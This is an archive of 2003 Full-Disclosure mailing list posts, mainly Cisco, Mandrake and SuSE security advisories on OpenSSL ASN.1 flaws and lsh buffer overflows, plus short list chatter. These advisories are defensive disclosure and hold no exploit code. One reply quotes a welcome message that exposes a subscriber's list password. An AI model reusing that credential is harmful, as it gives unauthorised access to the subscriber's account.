From measl at mfn.org Wed Oct 1 00:52:07 2003 From: measl at mfn.org (J.A. Terranson) Date: Tue, 30 Sep 2003 18:52:07 -0500 (CDT) Subject: [Full-Disclosure] More on Dan Geer In-Reply-To: <5.0.0.25.2.20030930102859.04c4bdc0@pop3.direcway.com> Message-ID: On Tue, 30 Sep 2003, madsaxon wrote: > At 10:18 AM 9/30/03 -0400, Stormwalker wrote: > > >The following quotes clarify @Stake's position. It's worse than even I > >thought. They know better, but don't care anymore. M$ is more important > >than truth. > > Perhaps. I caution you, however, to make a distinction between > @Stake as a corporate entity and some of the individual employees > thereof. Except that in this case, @Stake exists solely on the coattails of those individuals. Let's face it, unlike an IBM or Sprint, etc., @Stake *is* these people we [thought] we know. > > m5x -- Yours, J.A. Terranson sysadmin at mfn.org "Every living thing dies alone." Donnie Darko From psirt at cisco.com Wed Oct 1 01:41:41 2003 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Tue, 30 Sep 2003 17:41:41 -0700 Subject: [Full-Disclosure] Cisco Security Advisory: SSL Implementation Vulnerabilities Message-ID: <200309301741.cisco-sa-20030930-ssl@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: SSL Implementation Vulnerabilities Revision 1.0 For Public Release 2003 September 30 at 2330 GMT ---------------------------------------------------------------------- Contents Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice: INTERIM Distribution Revision History Cisco Security Procedures ---------------------------------------------------------------------- Summary New vulnerabilities in the OpenSSL implementation for SSL have been announced. An affected network device running an SSL server based on the OpenSSL implementation may be vulnerable to a Denial of Service (DoS) attack when presented with a malformed certificate by a client. The network device is vulnerable to this vulnerability even if it is configured to not authenticate certificates from the client. There are workarounds available to mitigate the effects of these vulnerabilities. This advisory will be posted at http://www.cisco.com/warp/public/707/cisco-sa-20030930-ssl.shtml. Affected Products The following products have their SSL implementation based on the OpenSSL code and may be affected by the OpenSSL vulnerabilities. * Cisco IOS 12.1(11)E and later in the 12.1E release train * Cisco PIX Firewall * Cisco Firewall Services Module (FWSM) for the Cisco Catalyst 6500 Series and Cisco 7600 Series routers * Cisco Network Analysis Modules (NAM) for the Cisco Catalyst 6000 and 6500 Series switches and Cisco 7600 Series routers * Cisco Content Service Switch (CSS) 11000 series * Cisco Global Site Selector (GSS) 4480 * Cisco Application & Content Networking Software (ACNS) * Cisco SN 5428 Storage Router * CiscoWorks 1105 Hosting Solution Engine (HSE) * CiscoWorks 1105 Wireless LAN Solution Engine (WLSE) * CiscoWorks Common Services (CMF) * Cisco SIP Proxy Server (SPS) The following products, which implement SSL, are currently known to be not vulnerable to the OpenSSL vulnerabilities. * Cisco VPN 3000 Series Concentrators * Cisco Secure Intrusion Detection System (NetRanger) appliance. This includes the IDS-42xx appliances, NM-CIDS and WS-SVS-IDSM2. * Cisco Secure Socket Layer (SSL) Services Module for the Cisco Catalyst 6500 Series and Cisco 7600 Series routers * Cisco Call Manager No other Cisco products are currently known to be affected by these vulnerabilities. Details An affected network device running an SSL server based on the OpenSSL implementation may be vulnerable to a Denial of Service (DoS) attack when presented with a malformed certificate by a client. The network device is vulnerable to this vulnerability even if it is configured to not authenticate certificates from the client. More information on these OpenSSL vulnerabilities is available at http://www.openssl.org/news/secadv_20030930.txt . * Cisco IOS - All 12.1(11)E and later IOS software releases in the 12.1E release train are affected by the OpenSSL vulnerabilities. The command no ip http secureserver may be used to disable the HTTPS web service on the device. * Cisco PIX Firewall - This vulnerability is documented as Bug ID CSCec31274 . * Cisco Firewall Services Module (FWSM) - This vulnerability is documented as Bug ID CSCec45573 . * Cisco Network Analysis Modules (NAM) - This vulnerability is documented as Bug ID CSCec45573 . * Cisco Content Service Switch (CSS) 11000 series - Cisco WebNS versions 6.x and 7.x are vulnerable. WebNS version 5.x is not vulnerable to the OpenSSL vulnerabilities. This vulnerability is documented as Bug IDs CSCec45165 and CSCec45342 . * Cisco Global Site Selector (GSS) 4480 - This vulnerability is documented as Bug ID CSCec45380 . * Cisco Application & Content Networking Software (ACNS) - This vulnerability is documented as Bug ID CSCec41413 . * Cisco SN 5428 Storage Router - This vulnerability is documented as Bug ID CSCec44103 . * CiscoWorks 1105 Hosting Solution Engine (HSE) - This vulnerability is documented as Bug ID CSCec38542 . * CiscoWorks 1105 Wireless LAN Solution Engine (WLSE) - This vulnerability is documented as Bug ID CSCec38526 . * CiscoWorks Common Services (CMF) - Both Solaris and Windows version of CMF 2.2 and CMF 2.1 are vulnerable. Windows versions of Core 1.0 are also vulnerable. This vulnerability is documented as Bug ID CSCec43722 * Cisco SIP Proxy Server (SPS) - This vulnerability is documented as Bug ID CSCec31901 . Impact An affected network device running an SSL server based on the OpenSSL implementation may be vulnerable to a Denial of Service (DoS) attack when presented with a malformed certificate by a client regardless of whether it is configured to process client certificates or not. Software Versions and Fixes * Cisco IOS - 12.1(14)E most likely would be the release to have this fix. CCO availability TBD. * Cisco PIX firewall - This vulnerability is fixed in software release 6.3(3.102). CCO availability TBD. * Cisco Firewall Services Module (FWSM) - Fixed Software release TBD. CCO availability TBD. * Cisco Network Analysis Modules (NAM) - Fixed Software release TBD. CCO availability TBD. * Cisco Content Service Switch (CSS) 11000 series - Fixed Software release TBD. CCO availability TBD. * Cisco Global Site Selector (GSS) 4480 - Fixed Software release TBD. CCO availability TBD. * Cisco Application & Content Networking Software (ACNS) - Fixed Software release 5.0.7. CCO availability September 30, 2003. * Cisco SN 5428 Storage Router - Fixed Software version 3.4.2. CCO availability TBD. * CiscoWorks 1105 Hosting Solution Engine (HSE) - Fixed Software release 1.7.3. CCO availability November 21, 2003. * CiscoWorks 1105 Wireless LAN Solution Engine (WLSE) - Fixed Software release 2.5. CCO availability TBD. * CiscoWorks Common Services (CMF) - Fixed Software release TBD. CCO availability TBD. * Cisco SIP Proxy Server (SPS) - Fixed Software release 2.2. CCO availability TBD. Obtaining Fixed Software Cisco is offering free software upgrades or patches to address these vulnerabilities for all affected customers. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades or patches, Customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at the Cisco Connection Online Software Center at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Customers with service contracts should contact their regular update channels to obtain the free software upgrade(s) or patches identified via this advisory. For most customers with service contracts, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com/tacpage/sw-center/. To access the software download URL, you must be a registered user and you must be logged in. Customers whose Cisco products are provided or maintained through a prior or existing agreement with third-party support organizations such as Cisco Partners, authorized resellers, or service providers should contact that support organization for assistance with obtaining the free software upgrade(s). Customers who purchased directly from Cisco but who do not hold a Cisco service contract, and customers who purchase through third party vendors but are unsuccessful at obtaining fixed software through their point of sale, should obtain fixed software by contacting the Cisco Technical Assistance Center (TAC) using the contact information listed below. In these cases, customers are entitled to obtain an upgrade to a later version of the same release or as indicated by the applicable corrected software version in the Software Versions and Fixes section (noted above). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Please have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Please do not contact either "psirt at cisco.com" or "security-alert at cisco.com" for software upgrades. Workarounds The Cisco PSIRT recommends that affected users upgrade to a fixed software version of code as soon as it is available. * Restrict access to the HTTPS server on the network device: Allow access to the network device only from trusted workstations by using ACL's / MAC filters that are available on the affected platforms. * Disable the SSL server / service on the network device. This workaround must be weighed against the need for secure communications with the vulnerable device. Exploitation and Public Announcements The Cisco PSIRT is not aware of any malicious use of the vulnerabilities described in this advisory at this time. These vulnerabilities have also been documented by the NISCC at http://www.uniras.gov.uk/vuls/2003/006489/openssl.htm . Status of This Notice: INTERIM This is a interim advisory. Although Cisco cannot guarantee the accuracy of all statements in this advisory, all of the facts have been checked to the best of our ability. Cisco does not anticipate issuing updated versions of this advisory unless there is some material change in the facts. Should there be a significant change in the facts, Cisco may update this advisory. A stand-alone copy or paraphrase of the text of this security advisory that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution This advisory will be posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20030930-ssl.shtml. In addition to worldwide website posting, a text version of this advisory is clear-signed with the Cisco PSIRT PGP key having the fingerprint 8C82 5207 0CA9 ED40 1DD2 EE2A 7B31 A8CF 32B6 B590 and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org (includes CERT/CC) * bugtraq at securityfocus.com * vulnwatch at vulnwatch.org * cisco at spot.colorado.edu * cisco-nsp at puck.nether.net * full-disclosure at lists.netsys.com * comp.dcom.sys.cisco * Various internal Cisco mailing lists Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History +------------------------------------------+ |Revision 1.0|2003-30-Sept|Initial public | | | |release. | +------------------------------------------+ Cisco Security Procedures Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/warp/public/707/sec_incident_response.shtml. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. ---------------------------------------------------------------------- This notice is Copyright 2003 by Cisco Systems, Inc. This notice may be redistributed freely after the release date given at the top of the text, provided that redistributed copies are complete and unmodified, and include all date and version information. ---------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Comment: PGP Signed by Sharad Ahlawat, Cisco Systems PSIRT iD8DBQE/eh/gezGozzK2tZARArgyAJ47Zi6PHDJyUAd/Rp9BST6tInms2QCgzqfm UXU8aYYmLl11Kqf31glvytQ= =rv61 -----END PGP SIGNATURE----- From bugtraq at gs2.com.br Wed Oct 1 02:12:46 2003 From: bugtraq at gs2.com.br (Fabio Gomes de Souza) Date: Tue, 30 Sep 2003 22:12:46 -0300 Subject: [Full-Disclosure] Strange behavior in Windows 98 and 2000 Message-ID: <3F7A2A0E.6080804@gs2.com.br> Hi, Some of the Windows 98 and 2000 boxes of my customers are suddenly losing their TCP/IP functionality. After a reboot, they become normal again for some time until the TCP/IP stack gets crazy again. - After the craziness takes place, Win2K it is still able to reach the local network, but it won't cross any router. - Windows 98 does not even reach the local net. - Both systems are able to ping the local net and the outside. - Current TCP connections still work, but you cannot establish new ones. - Both systems are behind linux NAT firewalls. Weird. Are you guys noting the same behaviour? I'm scared. :D Fabio Gomes de Souza From m0nk3y at excelex.no-ip.com Wed Oct 1 07:11:51 2003 From: m0nk3y at excelex.no-ip.com (t3h m0nk3y) Date: 01 Oct 2003 02:11:51 -0400 Subject: [Full-Disclosure] Re: Welcome to the "Full-Disclosure" mailing list In-Reply-To: <20031001012503.13725.31264.Mailman@NETSYS.COM> References: <20031001012503.13725.31264.Mailman@NETSYS.COM> Message-ID: <1064988711.188.7.camel@anubis.blackhat.ca> We did report this abuse to our isp at rolex.de. On Tue, 2003-09-30 at 21:25, full-disclosure-request at lists.netsys.com wrote: > Welcome to the Full-Disclosure at lists.netsys.com mailing list! For > guidelines that govern the use of this list, please see the charter at > http://lists.netsys.com/full-disclosure-charter.html > > We hope that you abide by these guidelines. While the list isn't > moderated, we reserve the right to remove and block anyone who is > disruptive or doesn't follow the above guidelines. > > Please use this list as the valuable resource we intend it to be. > > > > > > To post to this list, send your email to: > > full-disclosure at lists.netsys.com > > General information about the mailing list is at: > > http://lists.netsys.com/mailman/listinfo/full-disclosure > > If you ever want to unsubscribe or change your options (eg, switch to > or from digest mode, change your password, etc.), visit your > subscription page at: > > http://lists.netsys.com/mailman/options/full-disclosure/m0nk3y%40excelex.no-ip.com > > > You can also make such adjustments via email by sending a message to: > > Full-Disclosure-request at lists.netsys.com > > with the word `help' in the subject or body (don't include the > quotes), and you will get back a message with instructions. > > You must know your password to change your options (including changing > the password, itself) or to unsubscribe. It is: > > w00tw00t > > If you forget your password, don't worry, you will receive a monthly > reminder telling you what all your lists.netsys.com mailing list > passwords are, and how to unsubscribe or change your options. There > is also a button on your options page that will email your current > password to you. > > You may also have your password mailed to you automatically off of the > Web page noted above. -- I. 4ny 0f v4r10us 4nd l0000ng-t41l3d, 3xtr4-m3d1um-s1z3d m3mb3rs 0f th3 0rd3r 0f t3h pr1m4t3s.. y3h 4nd 1nclud1n t3h 4ntr0p01d 4p3s (th1nk 1s 4 m4k4k) 4nd t3h pr0s1m14nz (fuk 3m). II. 0n3 d4t b3h4v3 1n 4 w4y sugg4st1v3 0f 4 m0nk3y, 4s 4 m1schstuF ch1ld 0r!.. 4 m1m1c. (wtf?) III. t4h 1r0n bl0k 0f 4 p1l3 dr1v3r (d4z m3) IV. sl4ng. V. sl4ng. (j00 fuk1n b14tch!) From security at linux-mandrake.com Wed Oct 1 06:16:36 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 1 Oct 2003 05:16:36 -0000 Subject: [Full-Disclosure] MDKSA-2003:098 - Updated openssl packages fix vulnerabilities Message-ID: <20031001051636.4850.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: openssl Advisory ID: MDKSA-2003:098 Date: September 30th, 2003 Affected versions: 8.2, 9.0, 9.1, 9.2, Corporate Server 2.1, Multi Network Firewall 8.2 ________________________________________________________________________ Problem Description: Two bugs were discovered in OpenSSL 0.9.6 and 0.9.7 by NISCC. The parsing of unusual ASN.1 tag values can cause OpenSSL to crash, which could be triggered by a remote attacker by sending a carefully-crafted SSL client certificate to an application. Depending upon the application targetted, the effects seen will vary; in some cases a DoS (Denial of Service) could be performed, in others nothing noticeable or adverse may happen. These two vulnerabilities have been assigned CAN-2003-0543 and CAN-2003-0544. Additionally, NISCC discovered a third bug in OpenSSL 0.9.7. Certain ASN.1 encodings that are rejected as invalid by the parser can trigger a bug in deallocation of a structure, leading to a double free. This can be triggered by a remote attacker by sending a carefully-crafted SSL client certificate to an application. This vulnerability may be exploitable to execute arbitrary code. This vulnerability has been assigned CAN-2003-0545. The packages provided have been built with patches provided by the OpenSSL group that resolve these issues. A number of server applications such as OpenSSH and Apache that make use of OpenSSL need to be restarted after the update has been applied to ensure that they are protected from these issues. Users are encouraged to restart all of these services or reboot their systems. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0543 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0544 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0545 http://www.kb.cert.org/vuls/id/255484 http://www.kb.cert.org/vuls/id/380864 http://www.kb.cert.org/vuls/id/935264 http://www.openssl.org/news/secadv_20030930.txt http://www.uniras.gov.uk/vuls/2003/006489/tls.htm http://www.uniras.gov.uk/vuls/2003/006489/openssl.htm ________________________________________________________________________ Updated Packages: Corporate Server 2.1: ec80ef980212f5bf294f147e5bc19f76 corporate/2.1/RPMS/libopenssl0-0.9.6i-1.6.90mdk.i586.rpm 1de4f2038f479b1b779d5b2c9320e8fb corporate/2.1/RPMS/libopenssl0-devel-0.9.6i-1.6.90mdk.i586.rpm 4946dc25021ef97eb6513f3dd1dd16f6 corporate/2.1/RPMS/libopenssl0-static-devel-0.9.6i-1.6.90mdk.i586.rpm 3d5e3a05ead47fafa59240be9efc87d2 corporate/2.1/RPMS/openssl-0.9.6i-1.6.90mdk.i586.rpm 6982c0adf01f00ea5d49deb24011c278 corporate/2.1/SRPMS/openssl-0.9.6i-1.6.90mdk.src.rpm Corporate Server 2.1/x86_64: eab60b3828aeec0e2717890e51a90e76 x86_64/corporate/2.1/RPMS/libopenssl0-0.9.6i-1.6.90mdk.x86_64.rpm 19d8a676a11293d8e6acb429bed63a99 x86_64/corporate/2.1/RPMS/libopenssl0-devel-0.9.6i-1.6.90mdk.x86_64.rpm 5eb3936b8fade73ca1c334d67edad3ae x86_64/corporate/2.1/RPMS/libopenssl0-static-devel-0.9.6i-1.6.90mdk.x86_64.rpm 9df6c6e820719ac33744e1708621bdf3 x86_64/corporate/2.1/RPMS/openssl-0.9.6i-1.6.90mdk.x86_64.rpm 6982c0adf01f00ea5d49deb24011c278 x86_64/corporate/2.1/SRPMS/openssl-0.9.6i-1.6.90mdk.src.rpm Mandrake Linux 8.2: e8d13a3adbd679a0c1cd15dd28eb02f1 8.2/RPMS/libopenssl0-0.9.6i-1.5.82mdk.i586.rpm 4b783a98f4cc48be8a6b680a92f374ce 8.2/RPMS/libopenssl0-devel-0.9.6i-1.5.82mdk.i586.rpm 0481e5edacc8985d7255266fd136ceba 8.2/RPMS/libopenssl0-static-devel-0.9.6i-1.5.82mdk.i586.rpm 93a47ac82a618905c7d4a6e0d276c586 8.2/RPMS/openssl-0.9.6i-1.5.82mdk.i586.rpm 15b7ba1d342ae3531964e60a186874d8 8.2/SRPMS/openssl-0.9.6i-1.5.82mdk.src.rpm Mandrake Linux 9.0: ec80ef980212f5bf294f147e5bc19f76 9.0/RPMS/libopenssl0-0.9.6i-1.6.90mdk.i586.rpm 1de4f2038f479b1b779d5b2c9320e8fb 9.0/RPMS/libopenssl0-devel-0.9.6i-1.6.90mdk.i586.rpm 4946dc25021ef97eb6513f3dd1dd16f6 9.0/RPMS/libopenssl0-static-devel-0.9.6i-1.6.90mdk.i586.rpm 3d5e3a05ead47fafa59240be9efc87d2 9.0/RPMS/openssl-0.9.6i-1.6.90mdk.i586.rpm 6982c0adf01f00ea5d49deb24011c278 9.0/SRPMS/openssl-0.9.6i-1.6.90mdk.src.rpm Mandrake Linux 9.1: 42365cfe8a9214a747bd1fa6329baec8 9.1/RPMS/libopenssl0-0.9.6i-1.2.91mdk.i586.rpm a3a5046af719b864a337ce432e694a8b 9.1/RPMS/libopenssl0.9.7-0.9.7a-1.2.91mdk.i586.rpm 2e879f9d5349458c5653e97f20cf2218 9.1/RPMS/libopenssl0.9.7-devel-0.9.7a-1.2.91mdk.i586.rpm cf9bc9fc1cce8841d3cdb1d9fcd8b313 9.1/RPMS/libopenssl0.9.7-static-devel-0.9.7a-1.2.91mdk.i586.rpm b475cc257c14dbaccd9007afa14096f5 9.1/RPMS/openssl-0.9.7a-1.2.91mdk.i586.rpm 329bd3dd8cdfad6d445b4fbcc953dc91 9.1/SRPMS/openssl-0.9.7a-1.2.91mdk.src.rpm 9498e31ab37a4455f31827ce51afb221 9.1/SRPMS/openssl0.9.6-0.9.6i-1.2.91mdk.src.rpm Mandrake Linux 9.1/PPC: 915f8ab4ea91e0d876c9204b1f3699b0 ppc/9.1/RPMS/libopenssl0-0.9.6i-1.2.91mdk.ppc.rpm fafb4ac4c88c321d3c8fb7fdba54bac4 ppc/9.1/RPMS/libopenssl0.9.7-0.9.7a-1.2.91mdk.ppc.rpm 184be4bdf922fbc28b590a71b7cf8c10 ppc/9.1/RPMS/libopenssl0.9.7-devel-0.9.7a-1.2.91mdk.ppc.rpm 09e1bd3c05323d10d8002a44dbbc85dd ppc/9.1/RPMS/libopenssl0.9.7-static-devel-0.9.7a-1.2.91mdk.ppc.rpm cfbcacc68e2585a5fcbbeb8c9fc3b0d7 ppc/9.1/RPMS/openssl-0.9.7a-1.2.91mdk.ppc.rpm 329bd3dd8cdfad6d445b4fbcc953dc91 ppc/9.1/SRPMS/openssl-0.9.7a-1.2.91mdk.src.rpm 9498e31ab37a4455f31827ce51afb221 ppc/9.1/SRPMS/openssl0.9.6-0.9.6i-1.2.91mdk.src.rpm Mandrake Linux 9.2: db717c9a2e8f98905290d341e799c7b2 9.2/RPMS/libopenssl0.9.7-0.9.7b-4.1.92mdk.i586.rpm 76ba7c153a75c5dcfeae9f9f16f001e4 9.2/RPMS/libopenssl0.9.7-devel-0.9.7b-4.1.92mdk.i586.rpm 7655e50f898e4e4d368cd8e47d38806d 9.2/RPMS/libopenssl0.9.7-static-devel-0.9.7b-4.1.92mdk.i586.rpm 3f846e75cfdbdd9e818376474e1e54c0 9.2/RPMS/openssl-0.9.7b-4.1.92mdk.i586.rpm 738181704cb49e34d982a5b4224cc66c 9.2/SRPMS/openssl-0.9.7b-4.1.92mdk.src.rpm Multi Network Firewall 8.2: e8d13a3adbd679a0c1cd15dd28eb02f1 mnf8.2/RPMS/libopenssl0-0.9.6i-1.5.82mdk.i586.rpm 93a47ac82a618905c7d4a6e0d276c586 mnf8.2/RPMS/openssl-0.9.6i-1.5.82mdk.i586.rpm 15b7ba1d342ae3531964e60a186874d8 mnf8.2/SRPMS/openssl-0.9.6i-1.5.82mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team by executing: gpg --recv-keys --keyserver www.mandrakesecure.net 0x22458A98 Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE/emMzmqjQ0CJFipgRAgz6AJ9wOxt7lA2wyZ9t4kUlmbIKeLq8pACgq5vV RvuAK10PkmmQzzXKTz5f6KM= =SSpZ -----END PGP SIGNATURE----- From steve.wray at paradise.net.nz Wed Oct 1 06:27:07 2003 From: steve.wray at paradise.net.nz (Steve Wray) Date: Wed, 01 Oct 2003 17:27:07 +1200 Subject: [Full-Disclosure] CyberInsecurity: The cost of Monopoly In-Reply-To: <3F79CB13.9010708@onryou.com> Message-ID: <000e01c387dc$a8451380$0201a8c0@cyber.god> Yeah you know, that has always been my theory as to why, in Star Trek (and others), the control panels on starship bridges sometimes explode with sparks and smoke for no better reason than that some component on the outer hull got shot up by the Klingons (or whoever); its an important feedback mechanism ensuring that the operator knows that something is very seriously wrong. Now if only desktop PCs had such a system... > From: full-disclosure-admin at lists.netsys.com > [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Cael Abal [snip] > I believe I can safely say that easily 75% of my users would > recognize that their computer needed attention if it started billowing huge > noxious clouds of black smoke. > > Okay, 50% at a minimum. From krahmer at suse.de Wed Oct 1 10:46:01 2003 From: krahmer at suse.de (Sebastian Krahmer) Date: Wed, 1 Oct 2003 11:46:01 +0200 (CEST) Subject: [Full-Disclosure] SuSE Security Announcement: lsh (SuSE-SA:2003:041) Message-ID: <20031001094601.BF9F61495E@wotan.suse.de> -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: lsh Announcement-ID: SuSE-SA:2003:041 Date: Wed Oct 1 10:24:45 CEST 2003 Affected products: 8.0, 8.1, 8.2 Vulnerability Type: remote code execution Severity (1-10): 5 SuSE default package: yes Cross References: - Content of this advisory: 1) security vulnerability resolved: Buffer overflow in lsh. problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - node - proftp - OpenSSL 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information LSH is the GNU implementation of SSH and can be seen as an alternative to OpenSSH. Recently various remotely exploitable buffer overflows have been reported in LSH. These allow attackers to execute arbitrary code as root on un-patched systems. LSH is not installed by default on SuSE Linux. An update is therefore only recommended if you run LSH. Maintained SuSE products are not affected by this bug as LSH is not packaged on maintained products such as the Enterprise Server. For the updates to take effect execute the following command as root: /usr/sbin/rclshd restart Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. i386 Intel Platform: SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/lsh-1.5-114.i586.rpm 798f52402cda6c7e1733aed15bf0d9cb patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/lsh-1.5-114.i586.patch.rpm 9308cdb133d2311a9dc4a10bbf613501 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/lsh-1.5-114.src.rpm 1e1b5beac002cf51d1eea0277934a69d SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/lsh-1.4.2-73.i586.rpm b5ff8ba104623fe9a77705154aad92f7 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/lsh-1.4.2-73.i586.patch.rpm 6341acd3fe513921b7123d7c1d98cc43 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/lsh-1.4.2-73.src.rpm 0a2b95e911f8760009ad0d5b2fd7618e SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec3/lsh-1.3.5-188.i386.rpm bccfd85985bab8a324b25c1b2443bf2b patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec3/lsh-1.3.5-188.i386.patch.rpm 8a232720cb0a4b35d0899e9c6a4e80ae source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/lsh-1.3.5-188.src.rpm 8e3e30b134b12400559152bb5c53d0f8 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - node A format string vulnerability has been fixed in the new node packages available on our ftp servers. An update is recommended if you use this package. - proftp A off-by-one buffer overflow has been fixed in the proftp packages for SuSE Linux 7.2 and 7.3. Note that the bug that was fixed is different from the 'ASCII File Transfer Buffer Overrun Vulnerability' (CAN-2003-0831). The proftp packages shipped by SuSE are not affected by CAN-2003-0831. - OpenSSL Critical bugs within the ASN.1 parsing routines have been reported recently. We are currently building new packages and will notify you in a separate advisory when the packages are available. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM 